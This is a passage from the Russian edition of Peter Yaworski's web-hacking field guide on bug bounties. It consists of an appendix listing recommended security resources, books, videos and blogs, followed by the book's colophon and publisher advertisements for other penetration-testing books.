OWASP
Открытый проект обеспечения безопасности веб-приложений (Open Web
Application Security Project, или OWASP) является огромным источником
информации об уязвимостях. На его сайте owasp.org можно найти раздел
Security101 (введение в безопасность), шпаргалки, руководства по тестированию и глубокое описание большинства видов уязвимостей.
The Tangled Web
Книга Михаля Залевски (No Starch Press, 2012), раскрывающая слабые
места в модели безопасности веб-браузеров и предоставляющая важную
информацию о защите веб-приложений. Часть материала в ней устарела,

264   Приложение Б. Дополнительный материал

но она по-прежнему дает отличный контекст для безопасности в современных браузерах.
Теги Twitter
Теги сайта Twitter #infosec и #bugbounty позволяют найти много интересных
твиттов о безопасности и уязвимостях со ссылками на развернутые статьи.
The Web Application Hacker’s Handbook, 2-е издание
Книга Давида Статтарда и Маркуса Пинто (Wiley, 2011), которые создали
Burp Suite, должна быть обязательной к прочтению для любого хакера.
В ней описываются распространенные уязвимости и предоставляется
методология для их выявления.

Видеоматериалы
Обратитесь к видеороликам.
Bugcrowd LevelUp
Онлайн-конференция, посвященная хакингу. Ее докладчики, хакеры из
сообщества охотников за уязвимостями, представляют доклады на целый
ряд тем, таких как взлом веб-сайтов, мобильных приложений и аппаратного
обеспечения, а также описывают различные приемы и дают советы новичкам. Каждый год там можно встретить Джейсона Хэддикса из компании
Bugcrowd, который дает глубокое описание своего подхода к исследованию
и сбору информации. Доклады за 2017 и 2018 годы можно найти по ссылкам www.youtube.com/playlist?list=PLIK9nm3mu-S5InvR-myOS7hnae8w4EPFV и www.
youtube.com/playlist?list=PLIK9nm3mu-S6gCKmlC5CDFhWvbEX9fNW6.
LiveOverflow
Фабиан Фесслер в цикле видеороликов (www.youtube.com/LiveOverflowCTF/)
делится уроками хакинга, которых ему не хватало в начале карьеры. Он
охватывает широкий спектр тем, включая прохождение хакерских игр
типа «захват флага».

Рекомендуемые блоги  265

Web Development Tutorials
Мой канал на YouTube (www.youtube.com/yaworsk1/), в котором представлено несколько видеоциклов. В цикле Web Hacking 101 представлены
интервью с ведущими хакерами, включая Франса Розена, Арне Свиннена,
FileDescriptor, Рона Чана, Бена Садегипура, Патрика Ференбаха, Филиппе
Хэйрвуда, Джейсона Хэддикса и др. Цикл Web Hacking Pro Tips состоит из
бесед с хакерами (часто с Джейсоном Хэддиксом из Bugcrowd), посвященных уязвимостям, а также идеям и методикам хакинга.

Рекомендуемые блоги
Поскольку HackerOne является единственной платформой, которая раскрывает отчеты прямо на своем веб-сайте, многие уязвимости публикуются
хакерами в социальных сетях. Некоторые хакеры создают уроки и списки
ресурсов специально для новичков.
‚‚ В своем личном блоге Бретт Буэрхаус (buer.haus) подробно описывает интересные уязвимости из престижных программ Bug Bounty, помогая читателям извлечь полезные уроки. В его статьях содержатся технические
сведения о том, как ему удалось найти те или иные ошибки.
‚‚ В блоге компании Bugcrowd (www.bugcrowd.com/about/blog/) публикуется
интересная информация, включая интервью с хакерами и другие информативные материалы.
‚‚ Detectify — это онлайн-сканер безопасности, который ищет уязвимости
в веб-приложениях, используя сведения о проблемах и ошибках, раскрытые этичными хакерами. Блог этого проекта (labs.detectify.com) содержит
ценные статьи от разных авторов, включая Франса Розена и Матиаса
Карл­ссона.
‚‚ У Мэтью Браянта есть личный блог The Hacker Blog (thehackerblog.com).
Браянт является автором некоторых замечательных инструментов для хакинга, наиболее известный из которых, XSSHunter, можно использовать
для поиска слепых уязвимостей XSS. Его технические и глубокие статьи
обычно содержат исчерпывающий анализ безопасности.

266   Приложение Б. Дополнительный материал

‚‚ В блоге HackerOne (www.hackerone.com/blog/) тоже публикуется интересная информация о безопасности, например рекомендуемые блоги, новые
возможности платформы (отличное место для поиска новых уязвимостей!) и советы по саморазвитию в хакинге.
‚‚ До того как стать инженером по безопасности в Facebook, Джек Уиттон
занимал второе место в рейтинге наиболее успешных хакеров в программе Bug Bounty этой компании. Его блог whitton.io/ редко пополняется, но
публикуемый там материал являетсяглубоким и информативным.
‚‚ У Михаля Залевски есть блог lcamtuf по адресу lcamtuf.blogspot.com. В его
статьях рассматриваются углубленные темы, которые отлично подходят
для хакеров, имеющих определенный опыт.
‚‚ Блог NahamSec (nahamsec.com) принадлежит Бену Садегипуру, ведущему хакеру на платформе HackerOne, известному также под псевдонимом
NahamSec. Садегипур обычно публикует уникальные и интересные статьи. Он был первым хакером, у которого я взял интервью для своего цикла Web Hacking Pro Tips.
‚‚ Личный блог Оранжа Цая (blog.orange.tw) содержит замечательные статьи, самые ранние из которых датируются 2009 годом. В последние несколько лет он делает доклады о найденных им уязвимостях на конференциях Black Hat и DefCon.
‚‚ Целый ряд уязвимостей, найденных Патриком Ференбахом, описан в этой книге, а об остальных вы можете почитать в его блоге blog.itsecurityguard.
‚‚ Филиппе Хэйрвуд делится невероятным количеством информации о поиске логических ошибок в Facebook в своем блоге philippeharewood.com.
В 2016 году мне посчастливилось взять у Филиппе интервью, и я не могу
передать словами, насколько он меня вдохновил.
‚‚ Сотрудники компании Portswigger, которая занимается разработкой
Burp Suite, пишут о найденных ими уязвимостях в блоге portswigger.net/
blog. Джеймс Кеттле, ведущий исследователь в Portswigger, регулярно выступает на конференциях Black Hat и DefCon.
‚‚ У группы элитных хакеров Project Zero, которые работают в Google,
есть свой блог googleprojectzero.blogspot.com. Там можно найти подробности о сложных уязвимостях в разнообразных приложениях, платформах

Рекомендуемые блоги  267

и т. д. Это углубленный материал, поэтому, если вы только учитесь ремеслу хакинга, вам будет сложно понять некоторые детали.
‚‚ Рон Чан ведет личный блог ngailong.wordpress.com с подробностями о найденных уязвимостях. На момент написания этой книги Чан занимает
первое и третье места в программх Bug Bounty от Uber и Yahoo! соответственно. Это впечатляющие результаты, учитывая, что он присоединился
к HackerOne только в 2016 году.
‚‚ XSS Jigsaw (blog.innerht.ml) — блог от FileDescriptor, ведущего хакера на
платформе HackerOne, который, помимо прочего, является техническим
редактором этой книги. На счету FileDescriptor несколько уязвимостей,
найденных в Twitter. Он также является членом команды Cure53.
‚‚ Энди Гилл, охотник за уязвимостями и специалист по тестированию на
проникновение, ведет blog.zsec.uk, в котором пишет на разнообразные
темы, относящиеся к безопасности. Он также является автором книги
Breaking into Information Security: Learning the Ropes 101, которая доступна
на сайте издательства Leanpub.

Питер Яворски

Ловушка для багов.
Полевое руководство по веб-хакингу
Перевел на русский С. Черников

Заведующая редакцией
Ю. Сергиенко
Руководитель проекта
М. Колесников
Ведущий редактор
К. Тульцева
Литературный редактор
А. Руденко
Корректоры
Н. Сидорова, Г. Шкатова
Обложка
В. Мостипан
Верстка
Е. Неволайнен

Изготовлено в России. Изготовитель: ООО «Прогресс книга». Место нахождения и фактический адрес:
194044, Россия, г. Санкт-Петербург, Б. Сампсониевский пр., д. 29А, пом. 52. Тел.: +78127037373.
Дата изготовления: 06.2020. Наименование: книжная продукция. Срок годности: не ограничен.
Налоговая льгота — общероссийский классификатор продукции ОК 034-2014, 58.11.12 —
Книги печатные профессиональные, технические и научные.
Импортер в Беларусь: ООО «ПИТЕР М», 220020, РБ,
г. Минск, ул. Тимирязева, д. 121/3, к. 214, тел./факс: 208 80 01.
Подписано в печать 21.05.20. Формат 70х100/16. Бумага офсетная. Усл. п. л. 21,930. Тираж 1000. Заказ

Хакинг: искусство эксплойта
Джон Эриксон
Каждый программист по сути своей — хакер.
Ведь первоначально хакингом называли поиск искусного и неочевидного решения.
Понимание принципов программирования
помогает находить уязвимости, а навыки
обнаружения уязвимостей помогают создавать программы, поэтому многие хакеры
занимаются тем и другим одновременно.
Интересные нестандартные ходы есть как
в техниках написания элегантных программ,
так и в техниках поиска слабых мест. С чего
начать? Чтобы перезаписывать память с помощью переполнения буфера, получать доступ к удаленному серверу и перехватывать
соединения, вам предстоит программировать
на Си и ассемблере, использовать шелл-код
и регистры процессора, познакомиться с сетевыми взаимодействиями и шифрованием
и многое другое. Как бы мы ни хотели верить
в чудо, программное обеспечение и компьютерные сети, от которых зависит наша повседневная жизнь, обладают уязвимостями.
Мир без хакеров — это мир без любопытства
и новаторских решений.

Джон Эриксон
КУПИТЬ

Bash и кибербезопасность:
атака, защита и анализ
из командной строки Linux
Пол Тронкон, Карл Олбинг
Командная строка может стать идеальным инструментом для обеспечения кибербезопасности. Невероятная гибкость
и абсолютная доступность превращают
стандартный интерфейс командной строки (CLI) в фундаментальное решение,
если у вас есть соответствующий опыт.
Авторы Пол Тронкон и Карл Олбинг рассказывают об инструментах и хитростях
командной строки, помогающих собирать
данные при упреждающей защите, анализировать логи и отслеживать состояние
сетей. Пентестеры узнают, как проводить
атаки, используя колоссальный функцио­
нал, встроенный практически в любую
версию Linux.
КУПИТЬ

Kali Linux. Тестирование
на проникновение
и безопасность
Шива Парасрам, Алекс Замм, Теди Хериянто, Шакил Али
4-е издание Kali Linux 2018: Assuring
Security by Penetration Testing предназначено для этических хакеров, пентестеров и специалистов по IT-безопасности.
От читателя требуются базовые знания
операционных систем Windows и Linux.
Знания из области информационной безопасности будут плюсом и помогут вам
лучше понять изложенный в книге материал. Вы научитесь:

КУПИТЬ

• осуществлять начальные этапы тестирования на проникновение, понимать
область его применения;
• проводить разведку и учет ресурсов
в целевых сетях;
• получать и взламывать пароли;
• использовать Kali Linux NetHunter для
тестирования на проникновение беспроводных сетей;
• составлять грамотные отчеты о тестировании на проникновение;
• ориентироваться в структуре стандарта PCI-DSS и инструментах, используемых для сканирования и тестирования на проникновение.

Kali Linux от разработчиков
Рафаэль Херцог, Джим Горман, Мати Ахарони
Авторы шаг за шагом познакомят вас
с основами и возможностями Kali Linux.
В книге предложен краткий курс работы с командной строкой Linux и ее концепциями, описаны типичные сценарии
установки Kali Linux. Прочитав эту книгу, вы научитесь конфигурировать, отлаживать и защищать Kali Linux, а также
работать с мощным менеджером пакетов
дистрибутива Debian. Научитесь правильно устанавливать Kali Linux в любых
окружениях, в том числе в крупных корпоративных сетях. Наконец, вам предстоит познакомиться и со сложными темами:
компиляция ядра, создание собственных
образов ISO, промышленное шифрование и профессиональная защита конфиденциальной информации.
КУПИТЬ